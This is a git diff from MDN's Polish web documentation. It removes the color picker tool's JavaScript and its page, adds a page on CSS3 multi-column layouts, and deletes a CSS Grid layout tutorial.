-		var getSampleColor = function getSampleColor(id) {
-			if (samples[id] !== undefined && samples[id]!== null)
-				return new Color(samples[id].color);
-		};
-
-		var init = function init() {
-			color_palette = getElemById('color-palette');
-
-			createHuePalette();
-			createSaturationPalette();
-			createVLPalette();
-			createAlphaPalette();
-
-		};
-
-		return {
-			init : init,
-			getSampleColor : getSampleColor
-		};
-
-	})();
-
-	/**
-	 * ColorInfo
-	 */
-	var ColorInfo = (function ColorInfo() {
-
-		var info_box;
-		var select;
-		var RGBA;
-		var HEXA;
-		var HSLA;
-
-		var updateInfo = function updateInfo(color) {
-			if (color.a | 0 === 1) {
-				RGBA.info.textContent = 'RGB';
-				HSLA.info.textContent = 'HSL';
-			}
-			else {
-				RGBA.info.textContent = 'RGBA';
-				HSLA.info.textContent = 'HSLA';
-			}
-
-			RGBA.value.value = color.getRGBA();
-			HSLA.value.value = color.getHSLA();
-			HEXA.value.value = color.getHexa();
-		};
-
-		var InfoProperty = function InfoProperty(info) {
-
-			var node = document.createElement('div');
-			var title = document.createElement('div');
-			var value = document.createElement('input');
-			var copy = document.createElement('div');
-
-			node.className = 'property';
-			title.className = 'type';
-			value.className = 'value';
-			copy.className = 'copy';
-
-			title.textContent = info;
-			value.setAttribute('type', 'text');
-
-			copy.addEventListener('click', function() {
-				value.select();
-			});
-
-			node.appendChild(title);
-			node.appendChild(value);
-			node.appendChild(copy);
-
-			this.node = node;
-			this.value = value;
-			this.info = title;
-
-			info_box.appendChild(node);
-		};
-
-		var init = function init() {
-
-			info_box = getElemById('color-info');
-
-			RGBA = new InfoProperty('RGBA');
-			HSLA = new InfoProperty('HSLA');
-			HEXA = new InfoProperty('HEXA');
-
-			UIColorPicker.subscribe('picker', updateInfo);
-
-		};
-
-		return {
-			init: init
-		};
-
-	})();
-
-	/**
-	 * ColorPicker Samples
-	 */
-	var ColorPickerSamples = (function ColorPickerSamples() {
-
-		var samples = [];
-		var nr_samples = 0;
-		var active = null;
-		var container = null;
-		var	samples_per_line = 10;
-		var trash_can = null;
-		var base_color = new HSLColor(0, 50, 100);
-		var add_btn;
-		var add_btn_pos;
-
-		var ColorSample = function ColorSample() {
-			var node = document.createElement('div');
-			node.className = 'sample';
-
-			this.uid = samples.length;
-			this.index = nr_samples++;
-			this.node = node;
-			this.color = new Color(base_color);
-
-			node.setAttribute('sample-id', this.uid);
-			node.setAttribute('draggable', 'true');
-
-			node.addEventListener('dragstart', this.dragStart.bind(this));
-			node.addEventListener('dragover' , allowDropEvent);
-			node.addEventListener('drop'     , this.dragDrop.bind(this));
-
-			this.updatePosition(this.index);
-			this.updateBgColor();
-			samples.push(this);
-		};
-
-		ColorSample.prototype.updateBgColor = function updateBgColor() {
-			this.node.style.backgroundColor = this.color.getColor();
-		};
-
-		ColorSample.prototype.updatePosition = function updatePosition(index) {
-			this.index = index;
-			this.posY = 5 + ((index / samples_per_line) | 0) * 52;
-			this.posX = 5 + ((index % samples_per_line) | 0) * 52;
-			this.node.style.top  = this.posY + 'px';
-			this.node.style.left = this.posX + 'px';
-		};
-
-		ColorSample.prototype.updateColor = function updateColor(color) {
-			this.color.copy(color);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.activate = function activate() {
-			UIColorPicker.setColor('picker', this.color);
-			this.node.setAttribute('data-active', 'true');
-		};
-
-		ColorSample.prototype.deactivate = function deactivate() {
-			this.node.removeAttribute('data-active');
-		};
-
-		ColorSample.prototype.dragStart = function dragStart(e) {
-			e.dataTransfer.setData('sampleID', this.uid);
-			e.dataTransfer.setData('location', 'picker-samples');
-		};
-
-		ColorSample.prototype.dragDrop = function dragDrop(e) {
-			e.stopPropagation();
-			this.color = Tool.getSampleColorFrom(e);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.deleteSample = function deleteSample() {
-			container.removeChild(this.node);
-			samples[this.uid] = null;
-			nr_samples--;
-		};
-
-		var updateUI = function updateUI() {
-			updateContainerProp();
-
-			var index = 0;
-			var nr = samples.length;
-			for (var i=0; i < nr; i++)
-				if (samples[i] !== null) {
-					samples[i].updatePosition(index);
-					index++;
-				}
-
-			AddSampleButton.updatePosition(index);
-		};
-
-		var deleteSample = function deleteSample(e) {
-			trash_can.parentElement.setAttribute('drag-state', 'none');
-
-			var location = e.dataTransfer.getData('location');
-			if (location !== 'picker-samples')
-				return;
-
-			var sampleID = e.dataTransfer.getData('sampleID');
-			samples[sampleID].deleteSample();
-			console.log(samples);
-
-			updateUI();
-		};
-
-		var createDropSample = function createDropSample() {
-			var sample = document.createElement('div');
-			sample.id = 'drop-effect-sample';
-			sample.className = 'sample';
-			container.appendChild(sample);
-		};
-
-		var setActivateSample = function setActivateSample(e) {
-			if (e.target.className !== 'sample')
-				return;
-
-			unsetActiveSample(active);
-			Tool.unsetVoidSample();
-			CanvasSamples.unsetActiveSample();
-			active = samples[e.target.getAttribute('sample-id')];
-			active.activate();
-		};
-
-		var unsetActiveSample = function unsetActiveSample() {
-			if (active)
-				active.deactivate();
-			active = null;
-		};
-
-		var getSampleColor = function getSampleColor(id) {
-			if (samples[id] !== undefined && samples[id]!== null)
-				return new Color(samples[id].color);
-		};
-
-		var updateContainerProp = function updateContainerProp() {
-			samples_per_line = ((container.clientWidth - 5) / 52) | 0;
-			var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
-			container.style.height = height + 10 + 'px';
-		};
-
-		var AddSampleButton = (function AddSampleButton() {
-			var node;
-			var _index = 0;
-			var _posX;
-			var _posY;
-
-			var updatePosition = function updatePosition(index) {
-				_index = index;
-				_posY = 5 + ((index / samples_per_line) | 0) * 52;
-				_posX = 5 + ((index % samples_per_line) | 0) * 52;
-
-				node.style.top  = _posY + 'px';
-				node.style.left = _posX + 'px';
-			};
-
-			var addButtonClick = function addButtonClick() {
-				var sample = new ColorSample();
-				container.appendChild(sample.node);
-				updatePosition(_index + 1);
-				updateUI();
-			};
-
-			var init = function init() {
-				node = document.createElement('div');
-				var icon = document.createElement('div');
-
-				node.className = 'sample';
-				icon.id = 'add-icon';
-				node.appendChild(icon);
-				node.addEventListener('click', addButtonClick);
-
-				updatePosition(0);
-				container.appendChild(node);
-			};
-
-			return {
-				init : init,
-				updatePosition : updatePosition
-			};
-		})();
-
-		var init = function init() {
-			container = getElemById('picker-samples');
-			trash_can = getElemById('trash-can');
-
-			AddSampleButton.init();
-
-			for (var i=0; i<16; i++) {
-				var sample = new ColorSample();
-				container.appendChild(sample.node);
-			}
-
-			AddSampleButton.updatePosition(samples.length);
-			updateUI();
-
-			active = samples[0];
-			active.activate();
-
-			container.addEventListener('click', setActivateSample);
-
-			trash_can.addEventListener('dragover', allowDropEvent);
-			trash_can.addEventListener('dragenter', function() {
-				this.parentElement.setAttribute('drag-state', 'enter');
-			});
-			trash_can.addEventListener('dragleave', function(e) {
-				this.parentElement.setAttribute('drag-state', 'none');
-			});
-			trash_can.addEventListener('drop', deleteSample);
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (active)
-					active.updateColor(color);
-			});
-
-		};
-
-		return {
-			init : init,
-			getSampleColor : getSampleColor,
-			unsetActiveSample : unsetActiveSample
-		};
-
-	})();
-
-	/**
-	 * Canvas Samples
-	 */
-	var CanvasSamples = (function CanvasSamples() {
-
-		var active = null;
-		var canvas = null;
-		var samples = [];
-		var zindex = null;
-		var tutorial = true;
-
-		var CanvasSample = function CanvasSample(color, posX, posY) {
-
-			var node = document.createElement('div');
-			var pick = document.createElement('div');
-			var delete_btn = document.createElement('div');
-			node.className = 'sample';
-			pick.className = 'pick';
-			delete_btn.className = 'delete';
-
-			this.uid = samples.length;
-			this.node = node;
-			this.color = color;
-			this.updateBgColor();
-			this.zIndex = 1;
-
-			node.style.top = posY - 50 + 'px';
-			node.style.left = posX - 50 + 'px';
-			node.setAttribute('sample-id', this.uid);
-
-			node.appendChild(pick);
-			node.appendChild(delete_btn);
-
-			var activate = function activate() {
-				setActiveSample(this);
-			}.bind(this);
-
-			node.addEventListener('dblclick', activate);
-			pick.addEventListener('click', activate);
-			delete_btn.addEventListener('click', this.deleteSample.bind(this));
-
-			UIComponent.makeDraggable(node);
-			UIComponent.makeResizable(node);
-
-			samples.push(this);
-			canvas.appendChild(node);
-			return this;
-		};
-
-		CanvasSample.prototype.updateBgColor = function updateBgColor() {
-			this.node.style.backgroundColor = this.color.getColor();
-		};
-
-		CanvasSample.prototype.updateColor = function updateColor(color) {
-			this.color.copy(color);
-			this.updateBgColor();
-		};
-
-		CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
-			this.zIndex = value;
-			this.node.style.zIndex = value;
-		};
-
-		CanvasSample.prototype.activate = function activate() {
-			this.node.setAttribute('data-active', 'true');
-			zindex.setAttribute('data-active', 'true');
-
-			UIColorPicker.setColor('picker', this.color);
-			InputSliderManager.setValue('z-index', this.zIndex);
-		};
-
-		CanvasSample.prototype.deactivate = function deactivate() {
-			this.node.removeAttribute('data-active');
-			zindex.removeAttribute('data-active');
-		};
-
-		CanvasSample.prototype.deleteSample = function deleteSample() {
-			if (active === this)
-				unsetActiveSample();
-			canvas.removeChild(this.node);
-			samples[this.uid] = null;
-		};
-
-		CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
-			this.node.style.top = posY - this.startY + 'px';
-			this.node.style.left = posX - this.startX + 'px';
-		};
-
-		var canvasDropEvent = function canvasDropEvent(e) {
-			var color = Tool.getSampleColorFrom(e);
-
-			if (color) {
-				var offsetX = e.pageX - canvas.offsetLeft;
-				var offsetY = e.pageY - canvas.offsetTop;
-				var sample = new CanvasSample(color, offsetX, offsetY);
-				if (tutorial) {
-					tutorial = false;
-					canvas.removeAttribute('data-tutorial');
-					var info = new CanvasSample(new Color(), 100, 100);
-					info.node.setAttribute('data-tutorial', 'dblclick');
-				}
-			}
-
-		};
-
-		var setActiveSample = function setActiveSample(sample) {
-			ColorPickerSamples.unsetActiveSample();
-			Tool.unsetVoidSample();
-			unsetActiveSample();
-			active = sample;
-			active.activate();
-		};
-
-		var unsetActiveSample = function unsetActiveSample() {
-			if (active)
-				active.deactivate();
-			active = null;
-		};
-
-		var createToggleBgButton = function createToggleBgButton() {
-			var button = document.createElement('div');
-			var state = false;
-			button.className = 'toggle-bg';
-			canvas.appendChild(button);
-
-			button.addEventListener('click', function() {
-				console.log(state);
-				state = !state;
-				canvas.setAttribute('data-bg', state);
-			});
-		};
-
-		var init = function init() {
-			canvas = getElemById('canvas');
-			zindex = getElemById('zindex');
-
-			canvas.addEventListener('dragover', allowDropEvent);
-			canvas.addEventListener('drop', canvasDropEvent);
-
-			createToggleBgButton();
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (active)	active.updateColor(color);
-			});
-
-			InputSliderManager.subscribe('z-index', function (value) {
-				if (active)	active.updateZIndex(value);
-			});
-
-			UIComponent.makeResizable(canvas, 'height');
-		};
-
-		return {
-			init : init,
-			unsetActiveSample : unsetActiveSample
-		};
-
-	})();
-
-	var StateButton = function StateButton(node, state) {
-		this.state = false;
-		this.callback = null;
-
-		node.addEventListener('click', function() {
-			this.state = !this.state;
-			if (typeof this.callback === "function")
-				this.callback(this.state);
-		}.bind(this));
-	};
-
-	StateButton.prototype.set = function set() {
-		this.state = true;
-		if (typeof this.callback === "function")
-			this.callback(this.state);
-	};
-
-	StateButton.prototype.unset = function unset() {
-		this.state = false;
-		if (typeof this.callback === "function")
-			this.callback(this.state);
-	};
-
-	StateButton.prototype.subscribe = function subscribe(func) {
-		this.callback = func;
-	};
-
-
-	/**
-	 * Tool
-	 */
-	var Tool = (function Tool() {
-
-		var samples = [];
-		var controls = null;
-		var void_sw;
-
-		var createPickerModeSwitch = function createPickerModeSwitch() {
-			var parent = getElemById('controls');
-			var icon = document.createElement('div');
-			var button = document.createElement('div');
-			var hsv = document.createElement('div');
-			var hsl = document.createElement('div');
-			var active = null;
-
-			icon.className = 'icon picker-icon';
-			button.className = 'switch';
-			button.appendChild(hsv);
-			button.appendChild(hsl);
-
-			hsv.textContent = 'HSV';
-			hsl.textContent = 'HSL';
-
-			active = hsl;
-			active.setAttribute('data-active', 'true');
-
-			function switchPickingModeTo(elem) {
-				active.removeAttribute('data-active');
-				active = elem;
-				active.setAttribute('data-active', 'true');
-				UIColorPicker.setPickerMode('picker', active.textContent);
-			};
-
-			var picker_sw = new StateButton(icon);
-			picker_sw.subscribe(function() {
-				if (active === hsv)
-					switchPickingModeTo(hsl);
-				else
-					switchPickingModeTo(hsv);
-			});
-
-			hsv.addEventListener('click', function() {
-				switchPickingModeTo(hsv);
-			});
-			hsl.addEventListener('click', function() {
-				switchPickingModeTo(hsl);
-			});
-
-			parent.appendChild(icon);
-			parent.appendChild(button);
-		};
-
-		var setPickerDragAndDrop = function setPickerDragAndDrop() {
-			var preview = document.querySelector('#picker .preview-color');
-			var picking_area = document.querySelector('#picker .picking-area');
-
-			preview.setAttribute('draggable', 'true');
-			preview.addEventListener('drop', drop);
-			preview.addEventListener('dragstart', dragStart);
-			preview.addEventListener('dragover', allowDropEvent);
-
-			picking_area.addEventListener('drop', drop);
-			picking_area.addEventListener('dragover', allowDropEvent);
-
-			function drop(e) {
-				var color = getSampleColorFrom(e);
-				UIColorPicker.setColor('picker', color);
-			};
-
-			function dragStart(e) {
-				e.dataTransfer.setData('sampleID', 'picker');
-				e.dataTransfer.setData('location', 'picker');
-			};
-		};
-
-		var getSampleColorFrom = function getSampleColorFrom(e) {
-			var sampleID = e.dataTransfer.getData('sampleID');
-			var location = e.dataTransfer.getData('location');
-
-			if (location === 'picker')
-				return UIColorPicker.getColor(sampleID);
-			if (location === 'picker-samples')
-				return ColorPickerSamples.getSampleColor(sampleID);
-			if (location === 'palette-samples')
-				return ColorPalette.getSampleColor(sampleID);
-		};
-
-		var setVoidSwitch = function setVoidSwitch() {
-			var void_sample = getElemById('void-sample');
-			void_sw = new StateButton(void_sample);
-			void_sw.subscribe( function (state) {
-				void_sample.setAttribute('data-active', state);
-				if (state === true) {
-					ColorPickerSamples.unsetActiveSample();
-					CanvasSamples.unsetActiveSample();
-				}
-			});
-		};
-
-		var unsetVoidSample = function unsetVoidSample() {
-			void_sw.unset();
-		};
-
-		var init = function init() {
-			controls = getElemById('controls');
-
-			var color = new Color();
-			color.setHSL(0, 51, 51);
-			UIColorPicker.setColor('picker', color);
-
-			setPickerDragAndDrop();
-			createPickerModeSwitch();
-			setVoidSwitch();
-		};
-
-		return {
-			init : init,
-			unsetVoidSample : unsetVoidSample,
-			getSampleColorFrom : getSampleColorFrom
-		};
-
-	})();
-
-	var init = function init() {
-		UIColorPicker.init();
-		InputSliderManager.init();
-		ColorInfo.init();
-		ColorPalette.init();
-		ColorPickerSamples.init();
-		CanvasSamples.init();
-		Tool.init();
-	};
-
-	return {
-		init : init
-	};
-
-})();
-
-
-
- -

{{CSSRef}}

- -

To narzędzie ułatwia tworzenie, wybieranie i eksperymentowanie z niestandadrowymi kolorami w sieci. Umożliwia także konwersję pomiędzy różnymi formatami kolorów obsługiwanymi przez CSS, w tym: kolory HEXA, RGB (Red/Green/Blue) i HSL (Hue/Saturation/Lightness). Możliwa jest też kontrola kanału alpha w formatach RGB (rgba) i HSL.

- -

Każdy wybrany kolor prezentowany jest we wszystkich trzech standardowych formatach CSS . Dodatkowo, bazując na obecnie wybranym kolorze, tworzona jest paleta HSL, HSV oraz alpha. Okno wyboru koloru "zakraplacz" można przełączać pomiędzy formatami HSL i HSV. Przeciągając kolory do pojemnika na dole i poruszając nimi nad sobą możesz przetestować jak wyglądają obok siebie. Zmieniaj względną wartość z-index aby przesunąc kolor na wierzch lub schować za innym.

- -

To narzędzie pozwoli ci odnależć idealne kolory CSS do wykorzystania w twoim HTML.

- -
{{ EmbedLiveSample('ColorPicker_Tool', '100%', '900') }}
- -

Wygenerowane kolory można użyć wszędzie gdzie potrzeba w obrębie CSS i HTML, chyba że stwierdzono inaczej.

- -

Zobacz też

- -

Więcej o używaniu kolrów, sprawdź:

- - diff --git a/files/pl/web/css/css_columns/using_multi-column_layouts/index.html b/files/pl/web/css/css_columns/using_multi-column_layouts/index.html new file mode 100644 index 0000000000..19d3c4285a --- /dev/null +++ b/files/pl/web/css/css_columns/using_multi-column_layouts/index.html @@ -0,0 +1,65 @@ +--- +title: Kolumny CSS3 +slug: Web/Guide/CSS/Kolumny_CSS3 +tags: + - CSS + - CSS_3 + - Wszystkie_kategorie +translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts +--- +

+

+

Wprowadzenie

+

Czytanie tekstu wyświetlanego w długich wierszach jest trudne i męczące dla oczu - jeśli przenoszenie wzroku z końca jednej linii na początek drugiej zajmuje zbyt wiele czasu, łatwo jest zgubić się w tekście i rozpocząć czytanie niewłaściwego wiersza. Z tego powodu i aby w pełni wykorzystać szerokość ekranu, tekst na stronach internetowych - tak samo jak w gazetach - powinien być układany w sąsiadujących kolumnach o stałej szerokości. Niestety osiągnięcie tego efektu nie jest możliwe przy użyciu języków HTML i obecnego CSS bez wymuszania sztywnej wysokości kolumn, znacznego ograniczania dozwolonej składni wewnątrz tekstu bądź też bez stosowania skomplikowanych skryptów. +

Szkic specyfikacji CSS3 proponuje kilka nowych własności CSS, które rozwiązałyby ten problem. W Firefoksie 1.5 i następnych zaimplementowana została część tych własności i zachowują się one w sposób opisany przez szkic specyfikacji (z jednym wyjątkiem opisanym niżej).

Aby zobaczyć, jak działają kolumny CSS, odwiedź (korzystając z Firefoksa 1.5) blog Roberta O'Callahana. +

+

Stosowanie kolumn

+

Liczba i szerokość kolumn

+

Własności CSS pozwalają okreslić liczbę i szerokość kolumn, w jakich zostanie wyświetlony tekst na stronie: -moz-column-count oraz -moz-column-width. +

-moz-column-count pozwala ustalić liczbę kolumn. Na przykład: +

+
<div style="-moz-column-count:2">Z powodu trwających przygotowań do wydania Mozilli
+Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00).
+Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1,
+którego wydanie zaplanowane jest na czwartek.</div>
+
+

Powyższy tekst powinien zostać w Firefoksie 1.5 wyświetlony w dwu kolumnach: +

+
Z powodu trwających przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.
+

-moz-column-width pozwala natomiast określić minimalną pożądaną szerokość kolumn. Jeśli przy okazji własność -moz-column-count nie jest ustalona, przeglądarka automatycznie wyświetli tyle kolumn, ile zmieści się w jej oknie. Na przykład tekst: +

+
<div style="-moz-column-width:20em;">Z powodu trwających przygotowań do wydania Mozilli
+Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00).
+Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1,
+którego wydanie zaplanowane jest na czwartek.</div>
+
+

przeglądarka wyświetli następująco: +

+
Z powodu trwających przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.
+

Szczegóły dotyczące kolumn CSS opisano w szkicu specyfikacji CSS3. +

W przypadku wyświetlania wielokolumnowego, treść automatycznie przepływa do następnych kolumn, jeśli zachodzi taka potrzeba. Cała funkcjonalność HTML, CSS oraz DOM jest zachowana, podobnie jak możliwość edycji i drukowania. +


+

+

Wyrówywanie wysokości kolumn

+

Szkic specyfikacji CSS3 zakłada, że wysokości kolumn powinny być wyrównywane przez przeglądarkę w taki sposób, by wysokości treści w każdej kolumnie były możliwie najbardziej zbliżone. I to właśnie robi Firefox. +

Czasami jednak pojawia się potrzeba jednoznacznego zdefiniowania wysokości kolumn. W takim przypadku treść - w zależności od długości - wyświetlana powinna być w różnej, nieznanej projektantowi liczbie kolumn. Efekt ten zastosowano na stronach International Herald Tribune, gdzie jednak użyto w tym celu odpowiednich skryptów. Firefox rozszerza szkic specyfikacji CSS w taki sposób, że nadanie blokowi kolumn własności height powoduje wydłużanie się kolumn do określonej wysokości, a po osiągnięciu tejże - utworzeniu nowej kolumny. Zachowanie to jest bardzo przydatne przy tworzeniu układów stron WWW. +

+

Odstęp między kolumnami

+

Domyślnie, przeglądarka wyświetla kolumny jedna tuż obok drugiej, przylegające do siebie. Zazwyczaj jednak nie jest to zachowanie pożądane. Aby poprawić tę sytuację, można za pomocą CSS ustawić dla kolumn odpowiednie wartości marginesów wewnętrznych, często jednak o wiele łatwiej zastosować jest własność -moz-column-gap ustawianą dla bloku kolumn: +

+
<div style="-moz-column-width:20em; -moz-column-gap:2em;">Z powodu trwających
+przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś
+w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą
+przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.</div>
+
+
Z powodu trwających przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.
+

Czytelność w starszych przeglądarkach

+

Starsze przeglądarki ignorują własności -moz-column, dzięki czemu stosunkowo łatwo jest utworzyć stronę, której treść będzie wyświetlana w pojedynczej kolumnie w starszych przeglądarkach, a w wielu kolumnach w Firefoksie 1.5. +

+

Zakończenie

+

Kolumny w CSS3 to nowe narzędzie, które pomoże projektantom stron internetowych w najlepszy możliwy sposób wykorzystywać cenną powierzchnię ekranów uzytkowników. Dzięki takim opcjom jak automatycze wyrównywanie wysokości, kolumny na pewno znajdą wiele zastosowań w tworzeniu stron internetowych. +

+

Dodatkowe zasoby

+ +{{ languages( { "en": "en/CSS3_Columns", "es": "es/Columnas_con_CSS-3", "fr": "fr/Colonnes_CSS3", "it": "it/Le_Colonne_nei_CSS3", "ja": "ja/CSS3_Columns", "ko": "ko/CSS3_Columns" } ) }} diff --git a/files/pl/web/css/css_grid_layout/realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_css/index.html b/files/pl/web/css/css_grid_layout/realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_css/index.html deleted file mode 100644 index 93ac130fce..0000000000 --- a/files/pl/web/css/css_grid_layout/realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_css/index.html +++ /dev/null @@ -1,594 +0,0 @@ ---- -title: Projektowanie typowych układów za pomocą układu siatki CSS -slug: >- - Web/CSS/CSS_Grid_Layout/Realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_CSS -translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout ---- -

Na zakończenie tego zestawu poradników do Układów Siatki CSS (ang. CSS Grid Layout), przejdę przez kilka różnych układów, demonstrujących niektóre z  technik, których można użyć podczas projektowania z użyciem tej technologii. Przyjrzymy się przykładowi, korzystającemu z wartości grid-template-areas, typowemu 12-kolumnowemu systemowi elastycznej siatki, a także wykazowi produktów stworzonemu za pomocą automatycznego rozmieszczania. Jak wynika z wyżej przedstawionych przykładów, często istnieje więcej niż jeden sposób, aby osiągnąć pożądany efekt z układem siatki. Wybierz  tę metodę, która jest najbardziej pomocna w rozwiązaniu problemów przed którymi stoisz i  dla projektów, które realizujesz.

- -

Responsywny układ strony korzystający z 1 do 3 kolumn o zmiennej pozycji elementów przy użyciu grid-template-areas

- -

Znacząca część stron internetowych jest odmianą tego typu układu; zawierającego treść, panele boczne, nagłówek oraz stopkę. Podczas projektowania responsywnej witryny, możesz zechcieć wyświetlić stronę w układzie pojedynczej kolumny dla małych ekranów, dla  wyświetlacza o wartości granicznej dodać panel boczny, a dla najszerszych ekranów wprowadzić układ w trzech kolumnach.

- -

Image of the three different layouts created by redefining our grid at two breakpoints.

- -

Zamierzam stworzyć taki układ korzystając z  nazwanych pól szablonu, o których możecie dowiedzieć się więcej z kursu Grid template areas.

- -

Mój szkielet  składa się z pojemnika zawierającego elementy z przeznaczeniem na: nagłówek i stopkę, główną zawartość strony, menu, panel boczny oraz blok przeznaczony na reklamę.

- -
- - -
<div class="wrapper">
-        <header class="main-head">The header</header>
-        <nav class="main-nav">
-            <ul>
-                <li><a href="">Nav 1</a></li>
-                <li><a href="">Nav 2</a></li>
-                <li><a href="">Nav 3</a></li>
-            </ul>
-        </nav>
-        <article class="content">
-            <h1>Main article area</h1>
-            <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p>
-        </article>
-        <aside class="side">Sidebar</aside>
-        <div class="ad">Advertising</div>
-        <footer class="main-footer">The footer</footer>
-</div>
-
- -

Używamy cechy {{cssxref("grid-template-areas")}} by stworzyć układ strony. Nie korzystamy jeszcze z zapytań o środki dostępu (ang. media-queries). Musimy teraz nadać odpowiednie nazwy polom. Żeby to zrobić skorzystamy z właściwości {{cssxref("grid-area")}}.

- -
.main-head {
-  grid-area: header;
-}
-.content {
-  grid-area: content;
-}
-.main-nav {
-  grid-area: nav;
-}
-.side {
-  grid-area: sidebar;
-}
-.ad {
-  grid-area: ad;
-}
-.main-footer {
-  grid-area: footer;
-}
-
- -

Sama w sobie, operacja ta nie tworzy żadnego układu, aczkolwiek pozwala nam na to, dzięki nadanym nazwom.   Nadal nie korzystając z zapytań o urządzenie dostępu, nadam teraz stronie układ tworzony z myślą o wyświetlaczach mobilnych. W tym wypadku zachowam pierwotną kolejność elementów, taką jak w układzie szkieletu, starając się uniknąć najmniejszego rozdźwięku pomiędzy szablonem znaczników, a ukladem siatki, zgodnie z poradami zawartymi w Grid layout and accessibility. Nie definuję kolumn, ani rzędów, jednak taka stylizacja tworzy nam układ jednokolumnowy, co się zaś tyczy rzędów, zostaną stworzone samoistnie dla każdego elementu wskazanej siatki.

- -
.wrapper {
-  display: grid;
-  grid-gap: 20px;
-  grid-template-areas:
-    "header"
-    "nav"
-    "content"
-    "sidebar"
-    "ad"
-    "footer";
-}
-
- -

Zdefiniowany mobilny układ strony (jedna kolumna) będzie się teraz wyświetlał jednakowo na każdym urządzeniu, nieleżnie od jego rozmiarów. Żeby to zmienić możemy posłużyć się zapytaniem o środek dostępu i przedefiniować nasz układ na wypadek, gdyby pojawiło się wystarczająco dużo miejsca na ekranie, żeby zmieścić kolejną kolumnę.

- -
@media (min-width: 500px) {
-  .wrapper {
-    grid-template-columns: 1fr 3fr;
-    grid-template-areas:
-      "header  header"
-      "nav     nav"
-      "sidebar content"
-      "ad      footer";
-  }
-  nav ul {
-    display: flex;
-    justify-content: space-between;
-  }
-}
-
- -

Możesz zaobserwować, jak będzie wyglądał nowy układ przyglądając się wartości cechy {{cssxref("grid-template-areas")}}. Element header  (nagłówek) rozciąga się na dwie kolumny, tak, jak i element nav (menu). Wtrzecim rzędzie sąsiaduje element sidebar (panel boczny) oraz element content (zawartość strony). W czwartym rzędzie umieściłem element ad (blok reklamowy) zamiast panelu bocznego, a na samym końcu element footer (stopkę) rozciągnietą na cały piąty rząd. Użyłem elastycznego bloku (flexbox) dla menu, tak by wyświetliło się w oddalonym rzędzie.

- -

Mogę teraz dodać ostatnią wartość graniczną, wyznaczającą przejście do układu w trzech kolumnach.

- -
@media (min-width: 700px) {
-  .wrapper {
-    grid-template-columns: 1fr 4fr 1fr;
-    grid-template-areas:
-      "header header  header"
-      "nav    content sidebar"
-      "nav    content ad"
-      "footer footer  footer"
-   }
-   nav ul {
-     flex-direction: column;
-   }
-}
-
- -

The three-column layout has two 1fr unit side columns and a middle column that has 4fr as the track size. This means that the available space in the container is split into 6 and assigned in proportion to our three tracks – one part each to the side columns and 4 parts to the center.

- -

In this layout I am displaying the nav in the left column, alongside the content. In the right column we have the sidebar and underneath it the advertisements (ad). The footer now spans right across the bottom of the layout. I then use a flexbox to display the navigation as a column.

- -

{{ EmbedLiveSample('layout_1', '800', '500') }}

-
- -

This is a simple example but demonstrates how we can use a grid layout to rearrange our layout for different breakpoints. In particular I am changing the location of that ad block, as appropriate in my different column setups. I find this named areas method very helpful at a prototyping stage, it is easy to play around with the location of elements. You could always begin to use grid in this way for prototyping, even if you can’t rely on it fully in production due to the browsers that visit your site.

- -

A flexible 12-column layout

- -

If you have been working with one of the many frameworks or grid systems you may be accustomed to laying out your site on a 12- or 16-column flexible grid. We can create this type of system using CSS Grid Layout. As a simple example, I am creating a 12-column flexible grid that has 12 1fr-unit column tracks, they all have a start line named col-start. This means that we will have twelve grid lines named col-start.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(12, [col-start] 1fr);
-  grid-gap: 20px;
-}
-
- -

To demonstrate how this grid system works I have four child elements inside my wrapper.

- -
<div class="wrapper">
-  <div class="item1">Start column line 1, span 3 column tracks.</div>
-  <div class="item2">Start column line 6, span 4 column tracks. 2 row tracks.</div>
-  <div class="item3">Start row 2 column line 2, span 2 column tracks.</div>
-  <div class="item4">Start at column line 3, span to the end of the grid (-1).</div>
-</div>
-
- -

I can then place these on the grid using the named lines, and also the span keyword.

- -
.item1 {
-  grid-column: col-start / span 3;
-}
-.item2 {
-  grid-column: col-start 6 / span 4 ;
-  grid-row: 1 / 3;
-}
-.item3 {
-  grid-column: col-start 2 / span 2;
-  grid-row: 2;
-}
-.item4 {
-  grid-column: col-start 3 / -1;
-  grid-row: 3;
-}
-
- -

{{ EmbedLiveSample('layout_2', '800', '400') }}

-
- -

